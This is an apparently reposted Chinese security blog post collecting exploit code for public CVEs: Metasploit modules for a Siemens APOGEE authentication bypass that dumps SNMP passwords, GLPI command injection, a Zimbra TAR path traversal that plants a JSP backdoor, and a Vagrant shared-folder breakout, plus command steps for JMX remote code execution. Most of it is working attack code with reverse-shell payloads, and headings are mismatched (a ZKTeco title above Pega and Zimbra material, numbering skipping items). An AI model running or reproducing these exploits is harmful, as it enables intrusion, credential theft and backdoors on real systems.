免责声明
只供对已授权的目标使用测试,对未授权目标的测试作者不承担责任,均由使用本人自行承担。
1.Siemens APOGEE PXC / TALON TC 身份验证绕过漏洞(CVE-2017-9947)
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# 2022-05-23
# Standard Modules
from metasploit import module
# Extra Dependencies
dependencies_missing = False
try:
import logging
import requests
import requests
import xmltodict
import xml.etree.ElementTree as ET
import socket
import struct
import requests
except ImportError:
dependencies_missing = True
# Metasploit Metadata
metadata = {
'name': 'Siemens BACnet Field Panel Path Traversal',
'description': '''
This module exploits a hidden directory on Siemens APOGEE PXC BACnet Automation Controllers (all versions prior to V3.5), and TALON TC BACnet Automation Controllers (all versions prior to V3.5). With a 7.5 CVSS, this exploit allows for an attacker to perform an authentication bypass using an alternate path or channel to enumerate hidden directories in the web server.
''',
'authors': [
'RoseSecurity',
],
'date': '2022-05-23',
'license': 'MSF_LICENSE',
'references': [
{'type': 'url', 'ref': 'https://sid.siemens.com/v/u/A6V10304985'},
{'type': 'cve', 'ref': 'https://nvd.nist.gov/vuln/detail/CVE-2017-9946'},
],
'type': 'single_scanner',
'options': {
'rhost': {'type': 'string', 'description': 'Target address', 'required': True, 'default': None},
}
}
def run(args):
module.LogHandler.setup(msg_prefix='{} - '.format(args['rhost']))
if dependencies_missing:
logging.error('Module dependency (requests) is missing, cannot continue')
return
try:
# Download Hidden XML File
r = requests.get('http://{}/{}'.format(args['rhost'], '/FieldPanel.xml'), verify=False)
# Convert to Readable Format
xml_doc = r.content
root = ET.fromstring(xml_doc)
# Parse XML for Sensitive Data
module.log("Remote Site ID: " + root[18].text)
module.log("Building Level Network Name: " + root[26].text)
module.log("Site Name: " + root[27].text)
module.log("Hostname: " + root[28].text)
ip_addr = int(root[30].text, 16)
module.log("IP Address: " + socket.inet_ntoa(struct.pack(">L", ip_addr)))
gw_addr = int(root[32].text, 16)
gw_addr = str(socket.inet_ntoa(struct.pack(">L", gw_addr)))
module.log("Gateway IP Address: " + gw_addr[::-1])
module.log("Maximum Transmission Size: " + root[57].text)
module.log("BACnet Device Name: " + root[60].text)
module.log("BACnet UDP Port: " + root[62].text)
module.log("Device Location: " + root[63].text)
module.log("Device Description: " + root[64].text)
module.log("Device Barcode: " + root[88].text)
module.log("Device Revision String: " + root[104].text)
module.log("Device Firmware: " + root[105].text)
module.log("Panel Key Name: " + root[109].text)
module.log("SNMP Username: " + root[148].text)
module.log("SNMP Private Password: " + root[149].text)
module.log("SNMP Authorization Password: " + root[150].text)
# Determine Running Services
if int(root[48].text) == 1:
module.log("Telnet Enabled")
else:
module.log("Telnet Disabled")
if int(root[84].text) == 1:
module.log("Wireless Enabled")
else:
module.log("Wireless Disabled")
if int(root[103].text) == 3:
module.log("Webserver Enabled")
else:
module.log("Webserver Disabled")
except requests.exceptions.RequestException as e:
logging.error('{}'.format(e))
return
if __name__ == '__main__':
module.run(metadata, run)
2.GLPI 10.0.2 命令注入漏洞(CVE-2022-35914)
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'GLPI htmLawed php command injection',
'Description' => %q{
This exploit takes advantage of a unauthenticated php command injection available
from GLPI versions 10.0.2 and below to execute a command.
},
'License' => MSF_LICENSE,
'Author' => [
'cosad3s', # PoC https://github.com/cosad3s/CVE-2022-35914-poc
'bwatters-r7' # module
],
'References' => [
['CVE', '2022-35914' ],
['URL', 'https://github.com/cosad3s/CVE-2022-35914-poc']
],
'Platform' => 'linux',
'Arch' => [ARCH_X64, ARCH_CMD],
'CmdStagerFlavor' => [ 'printf' ],
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp',
'RPORT' => 80,
'URIPATH' => '/glpi/'
}
}
],
[
'Linux (Dropper)',
{
'Platform' => 'linux',
'Arch' => [ARCH_X64],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
'RPORT' => 80,
'URIPATH' => '/glpi/'
},
'Type' => :linux_dropper
}
],
],
'DisclosureDate' => '2022-01-26',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'Reliability' => [ REPEATABLE_SESSION ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]
}
)
)
end
def populate_values
uri = "#{datastore['URIPATH']}/vendor/htmlawed/htmlawed/htmLawedTest.php"
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri),
'connection' => 'keep-alive',
'accept' => '*/*'
})
@html = res.get_html_document
@token = @html.at_xpath('//input[@id="token"]')['value']
vprint_status("token = #{@token}")
# sometimes I got > 1 sid. We must use the last one.
@sid = res.get_cookies.match(/.*=(.*?);.*/)[1]
vprint_status("sid = #{@sid}")
rescue NoMethodError => e
elog('Failed to retrieve token or sid', error: e)
end
end
def execute_command(cmd, _opts = {})
populate_values if @sid.nil? || @token.nil?
uri = datastore['URIPATH'] + '/vendor/htmlawed/htmlawed/htmLawedTest.php'
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri),
'cookie' => 'sid=' + @sid,
'ctype' => 'application/x-www-form-urlencoded',
'encode_params' => true,
'vars_post' => {
'token' => @token,
'text' => cmd,
'hhook' => 'exec',
'sid' => @sid
}
})
end
def check
populate_values if @html_doc.nil?
if @token.nil? || @sid.nil? || @html.nil?
return Exploit::CheckCode::Safe('Failed to retrieve htmLawed page')
end
return Exploit::CheckCode::Appears if @html.to_s.include?('htmLawed')
return Exploit::CheckCode::Safe('Unable to determine htmLawed status')
end
def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
end
end
3.ZKTeco ZEM500-510-560-760 / ZEM600-800 / ZEM720 / ZMM 认证缺失漏洞(CVE-2022-42953)
Set-Cookie: SessionID=1624553126; path=/;
http://192.0.2.1/csl/user?did=0&uid=123
http://192.0.2.1/form/DataApp?style=1
http://192.0.2.1/form/DataApp?style=0
http://192.0.2.1/form/DataApp?style=1
http://192.0.2.1/form/DataApp?style=0
http://192.0.2.1/csl/user?did=0&uid=123
;Dumping RMI registry:
nmap -sT -sV --script rmi-dumpregistry -p 9999 <IP Address>
;Extracting dynamic TCP port number from the dump (in form of @127.0.0.1:<PORT>)
;Verifying that the <PORT> is indeed open (it gives 127.0.0.1 in the RMI dump, but actually listens on the network as well):
nmap -sT -sV -p <PORT> <IP Address>
;Exploitation requires:
;- JVM
;- MOGWAI LABS JMX Exploitation Toolkit (https://github.com/mogwailabs/mjet)
;- jython
;Installing mbean for remote code execution
java -jar jython-standalone-2.7.2.jar mjet.py --localhost_bypass <PORT> <IP Address> 9999 install random_password http://<Local IP to Serve Payload over HTTP>:6666 6666
;Execution of commands id & ifconfig
java -jar jython-standalone-2.7.2.jar mjet.py --localhost_bypass <PORT> <IP Address> 9999 command random_password "id;ifconfig"
;More details: https://medium.com/@Marcin-Wolak/cve-2022-24082-rce-in-the-pega-platform-discovery-remediation-technical-details-long-live-69efb5437316
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::EXE
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'TAR Path Traversal in Zimbra (CVE-2022-41352)',
'Description' => %q{
This module creates a .tar file that can be emailed to a Zimbra server
to exploit CVE-2022-41352. If successful, it plants a JSP-based
backdoor in the public web directory, then executes that backdoor.
The core vulnerability is a path-traversal issue in the cpio command-
line utlity that can extract an arbitrary file to an arbitrary
location on a Linux system (CVE-2015-1197). Most Linux distros have
chosen not to fix it.
This issue is exploitable on Red Hat-based systems (and other hosts
without pax installed) running versions:
* Zimbra Collaboration Suite 9.0.0 Patch 26 (and earlier)
* Zimbra Collaboration Suite 8.8.15 Patch 33 (and earlier)
The patch simply makes "pax" a pre-requisite.
},
'Author' => [
'Alexander Cherepanov', # PoC (in 2015)
'yeak', # Initial report
'Ron Bowes', # Analysis, PoC, and module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2022-41352'],
['URL', 'https://forums.zimbra.org/viewtopic.php?t=71153&p=306532'],
['URL', 'https://blog.zimbra.com/2022/09/security-update-make-sure-to-install-pax-spax/'],
['URL', 'https://www.openwall.com/lists/oss-security/2015/01/18/7'],
['URL', 'https://lists.gnu.org/archive/html/bug-cpio/2015-01/msg00000.html'],
['URL', 'https://attackerkb.com/topics/1DDTvUNFzH/cve-2022-41352/rapid7-analysis'],
['URL', 'https://attackerkb.com/topics/FdLYrGfAeg/cve-2015-1197/rapid7-analysis'],
['URL', 'https://wiki.zimbra.com/wiki/Zimbra_Releases/9.0.0/P27'],
['URL', 'https://wiki.zimbra.com/wiki/Zimbra_Releases/8.8.15/P34'],
],
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' => [
[ 'Zimbra Collaboration Suite', {} ]
],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
'TARGET_PATH' => '/opt/zimbra/jetty_base/webapps/zimbra/',
'TARGET_FILENAME' => nil,
'DisablePayloadHandler' => false,
'RPORT' => 443,
'SSL' => true
},
'Stance' => Msf::Exploit::Stance::Passive,
'DefaultTarget' => 0,
'Privileged' => false,
'DisclosureDate' => '2022-06-28',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'payload.tar']),
# Separating the path, filename, and extension allows us to randomize the filename
OptString.new('TARGET_PATH', [ true, 'The location the payload should extract to (an absolute path - eg, /opt/zimbra/...).']),
OptString.new('TARGET_FILENAME', [ false, 'The filename to write in the target directory; should have a .jsp extension (default: public/<random>.jsp).']),
]
)
register_advanced_options(
[
OptString.new('SYMLINK_FILENAME', [ false, 'The name of the symlink file to use (default: random)']),
OptBool.new('TRIGGER_PAYLOAD', [ false, 'If set, attempt to trigger the payload via an HTTP request.', true ]),
# Took this from multi/handler
OptInt.new('ListenerTimeout', [ false, 'The maximum number of seconds to wait for new sessions.', 0 ]),
OptInt.new('CheckInterval', [ true, 'The number of seconds to wait between each attempt to trigger the payload on the server.', 5 ])
]
)
end
def exploit
print_status('Encoding the payload as .jsp')
payload = Msf::Util::EXE.to_jsp(generate_payload_exe)
# Small sanity-check
if datastore['TARGET_FILENAME'] && !datastore['TARGET_FILENAME'].end_with?('.jsp')
print_warning('TARGET_FILENAME does not end with .jsp, was that intentional?')
end
# Generate a filename if needed
target_filename = datastore['TARGET_FILENAME'] || "public/#{Rex::Text.rand_text_alpha_lower(4..10)}.jsp"
symlink_filename = datastore['SYMLINK_FILENAME'] || Rex::Text.rand_text_alpha_lower(4..10)
# Sanity check - the file shouldn't exist, but we should be able to do requests to the server
if datastore['TRIGGER_PAYLOAD']
print_status('Checking the HTTP connection to the target')
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_filename)
)
unless res
fail_with(Failure::Unknown, 'Could not connect to the server via HTTP (disable TRIGGER_PAYLOAD if you plan to trigger it manually)')
end
# Break when the file successfully appears
unless res.code == 404
fail_with(Failure::Unknown, "Server returned an unexpected result when we attempted to trigger our payload (expected HTTP/404, got HTTP/#{res.code}")
end
end
# Create the file
begin
contents = StringIO.new
Rex::Tar::Writer.new(contents) do |t|
print_status("Adding symlink to path to .tar file: #{datastore['TARGET_PATH']}")
t.add_symlink(symlink_filename, datastore['TARGET_PATH'], 0o755)
print_status("Adding target file to the archive: #{target_filename}")
t.add_file(File.join(symlink_filename, target_filename), 0o644) do |f|
f.write(payload)
end
end
contents.seek(0)
tar = contents.read
contents.close
rescue StandardError => e
fail_with(Failure::BadConfig, "Failed to encode .tar file: #{e}")
end
file_create(tar)
print_good('File created! Email the file above to any user on the target Zimbra server')
# Bail if they don't want the payload triggered
return unless datastore['TRIGGER_PAYLOAD']
register_file_for_cleanup(File.join(datastore['TARGET_PATH'], target_filename))
interval = datastore['CheckInterval'].to_i
print_status("Trying to trigger the backdoor @ #{target_filename} every #{interval}s [backgrounding]...")
# This loop is mostly from `multi/handler`
stime = Process.clock_gettime(Process::CLOCK_MONOTONIC).to_i
timeout = datastore['ListenerTimeout'].to_i
loop do
break if session_created?
break if timeout > 0 && (stime + timeout < Process.clock_gettime(Process::CLOCK_MONOTONIC).to_i)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_filename)
)
unless res
fail_with(Failure::Unknown, 'Could not connect to the server to trigger the payload')
end
# Break when the file successfully appears
if res.code == 200
print_good('Successfully triggered the payload')
# This should break when we get to session_created?
end
Rex::ThreadSafe.sleep(interval)
end
end
end
6.Vagrant 同步文件夹 Vagrantfile Breakout Exploit
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Vagrant Synced Folder Vagrantfile Breakout',
'Description' => %q{
This module exploits a default Vagrant synced folder (shared folder)
to append a Ruby payload to the Vagrant project Vagrantfile config file.
By default, unless a Vagrant project explicitly disables shared folders,
Vagrant mounts the project directory on the host as a writable 'vagrant'
directory on the guest virtual machine. This directory includes the
project Vagrantfile configuration file.
Ruby code within the Vagrantfile is loaded and executed when a user
runs any vagrant command from the project directory on the host,
leading to execution of Ruby code on the host.
},
'License' => MSF_LICENSE,
'Author' => [
'HashiCorp', # Vagrant defaults
'bcoles' # Metasploit
],
'DisclosureDate' => '2011-01-19', # Vagrant 0.7.0 release date - first mention of shared folders in CHANGELOG
'Platform' => %w[ruby],
'Arch' => ARCH_ALL,
'SessionTypes' => [ 'shell', 'powershell', 'meterpreter' ],
'Stance' => Msf::Exploit::Stance::Passive,
'DefaultOptions' => {
'DisablePayloadHandler' => true
},
'Targets' => [
[
'Ruby Code',
{
'Platform' => 'ruby',
'Arch' => ARCH_RUBY,
'Type' => :ruby,
'DefaultOptions' => {
'PAYLOAD' => 'ruby/shell_reverse_tcp'
}
}
],
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'Payload' => { 'BadChars' => '`' },
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
]
],
'DefaultTarget' => 0,
'References' => [
['URL', 'https://www.vagrantup.com/docs/synced-folders'],
['URL', 'https://www.virtualbox.org/manual/ch04.html#sharedfolders']
],
'Notes' => {
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ]
}
)
)
register_options([
OptString.new('VAGRANTFILE_PATH', [false, 'Path to Vagrantfile (leave blank to auto detect)', ''])
])
end
# Search potential default shared directories for Vagrantfile configuration file
def find_vagrantfile_path
unless datastore['VAGRANTFILE_PATH'].blank?
return exists?(datastore['VAGRANTFILE_PATH']) ? datastore['VAGRANTFILE_PATH'] : nil
end
# Default Vagrant synced folders (aka shared folders)
default_shared_directories = [
'C:\vagrant\',
'/vagrant/'
]
default_shared_directories.each do |dir_path|
begin
vagrant_shared_dir_contents = dir(dir_path)
rescue Rex::Post::Meterpreter::RequestError
next
end
next if vagrant_shared_dir_contents.empty?
# Vagrant project configuration file name is case-insensitive (typically "Vagrantfile")
vagrant_shared_dir_contents.each do |fname|
return "#{dir_path}#{fname}" if fname.downcase == 'vagrantfile'
end
end
nil
end
def vagrantfile
@vagrantfile ||= find_vagrantfile_path
end
def check
return CheckCode::Safe('Vagrantfile not found.') unless vagrantfile
# `writable?' method does not support Windows systems
begin
return CheckCode::Detected("#{vagrantfile} is not writable.") unless writable?(vagrantfile)
rescue RuntimeError
return CheckCode::Detected("Could not verify if #{vagrantfile} is writable.")
end
CheckCode::Appears("#{vagrantfile} is writable!")
end
def exploit
fail_with(Failure::NotVulnerable, 'Could not find Vagrantfile') unless vagrantfile
case target['Type']
when :ruby
data = payload.encoded
when :unix_cmd
data = "`#{payload.encoded}`"
else
fail_with(Failure::NoTarget, 'No target selected')
end
print_status("Appending payload (#{data.length} bytes) to #{vagrantfile} ...")
unless append_file(vagrantfile, "n#{data}n")
fail_with(Failure::Unknown, "Could not write to #{vagrantfile}")
end
print_status("Payload appended to #{vagrantfile}")
print_status('The payload will be executed when a user runs any vagrant command from within the project directory on the host system.')
print_warning("This module requires manual removal of the payload from the project Vagrantfile: #{vagrantfile}")
end
end
原文始发于微信公众号(Hack All):【漏洞仓库】0day Today Team最近发布的Poc&Exp
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论